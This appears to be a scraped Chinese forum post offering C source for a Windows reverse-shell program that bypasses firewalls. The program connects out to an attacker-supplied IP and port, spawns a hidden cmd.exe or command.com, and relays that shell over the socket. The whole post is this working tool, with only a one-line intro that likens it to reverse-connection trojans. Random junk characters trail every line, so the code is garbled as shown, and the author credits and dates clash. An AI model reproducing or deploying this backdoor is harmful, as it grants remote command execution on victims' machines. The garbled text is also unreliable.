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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C">`' G2  
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/* ============================== u3U4UK  
Rebound port in Windows NT 30D: ZmlY  
By wind,2006/7 Z:K+I+:t  
===============================*/ $z*@2Non  
#include >BBl 7  
#include M2}np  
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#pragma comment(lib,"wsock32.lib") H5~1g6b@  
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void OutputShell(); kW#S]fsfU  
SOCKET sClient; q[-|ZA bbr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]JH64~a  
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void main(int argc,char **argv) 1o8wy_eSs  
{ rvW!7 -R  
WSADATA stWsaData; 2;8Xz 6T  
int nRet; $30oc Tt{  
SOCKADDR_IN stSaiClient,stSaiServer; Rv98\VD"  
}*NF&PD5RU  
if(argc != 3) Y=r!2u6r~  
{ *RBV'b  
printf("Useage:\n\rRebound DestIP DestPort\n"); (B@X[~  
return; ~e{H#*f&1/  
} Rq) 0i}F  
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WSAStartup(MAKEWORD(2,2),&stWsaData); T'E ] i!$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F9-[%l  
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stSaiClient.sin_family = AF_INET; T=WNBqKo]  
stSaiClient.sin_port = htons(0); [!EXMpq'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hR-K@fS%l'  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zJ;Rt9<7-  
{ nTPB,QE<  
printf("Bind Socket Failed!\n"); FKC\VF  
return; ~/2g)IS  
} `ruNA>M  
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stSaiServer.sin_family = AF_INET; -;$nb~y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;J]25j]]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w!\3ICB  
^=^$tF  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _K'7(d0z  
{ JBz}|M D  
printf("Connect Error!"); 9RH"d[%yc}  
return; %<ic%gt`#  
} v9=}S\=Cd  
OutputShell(); s.VA!@F5  
} $/+so;KD  
} ~| k  
void OutputShell() ^-hErsK  
{ [>f]@>  
char szBuff[1024]; 6gnbkpYi  
SECURITY_ATTRIBUTES stSecurityAttributes; &f-hG3/M  
OSVERSIONINFO stOsversionInfo; Z0-ytODI I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &R,9+c  
STARTUPINFO stStartupInfo; 1_uvoFLk  
char *szShell; eX"''PA  
PROCESS_INFORMATION stProcessInformation; eJHp6)2  
unsigned long lBytesRead; 3+ =I;nj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f8=]oa]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pLnB)z?  
stSecurityAttributes.lpSecurityDescriptor = 0; <C'Z H'p  
stSecurityAttributes.bInheritHandle = TRUE; v`x|]-/M&  
:'}@Al9=>  
9C/MRmv`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v>H=,.`0\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D<bI2  
G(/DtY]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aE)by-'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T/l1qcf`wT  
stStartupInfo.wShowWindow = SW_HIDE; (Sv>NQp  
stStartupInfo.hStdInput = hReadPipe; v*z(@<Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {:bN/zV#  
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GetVersionEx(&stOsversionInfo); 8.QSqW7t  
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switch(stOsversionInfo.dwPlatformId) X`:'i?(yj  
{ <^8*<;PaG  
case 1: 4r&f%caU  
szShell = "command.com"; oh~: ,  
break; + BL{@,zr  
default: $ J1f.YE  
szShell = "cmd.exe"; -:<lkq&/  
break; C5*xQlCq}  
} | kXm}K  
};b1ahaG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iidT~l  
/7/0x ./{  
send(sClient,szMsg,77,0); FJ54S  
while(1) Mzkkc QLK  
{ XN;&qR^j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BMFF=  
if(lBytesRead) Q`ME@vz  
{ S_ b/DO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Xj@+{uvQB  
send(sClient,szBuff,lBytesRead,0); ^A9 M;q  
} p=Y>i 'CG  
else ;b0NGa(k  
{ L(G92,.  
lBytesRead=recv(sClient,szBuff,1024,0); 8Lz]Z h=ZU  
if(lBytesRead<=0) break; IRW^ok.'b!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V5p0h~PK  
} jVWK0Zba  
} s^hR\iY  
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return; tg\|?  
}
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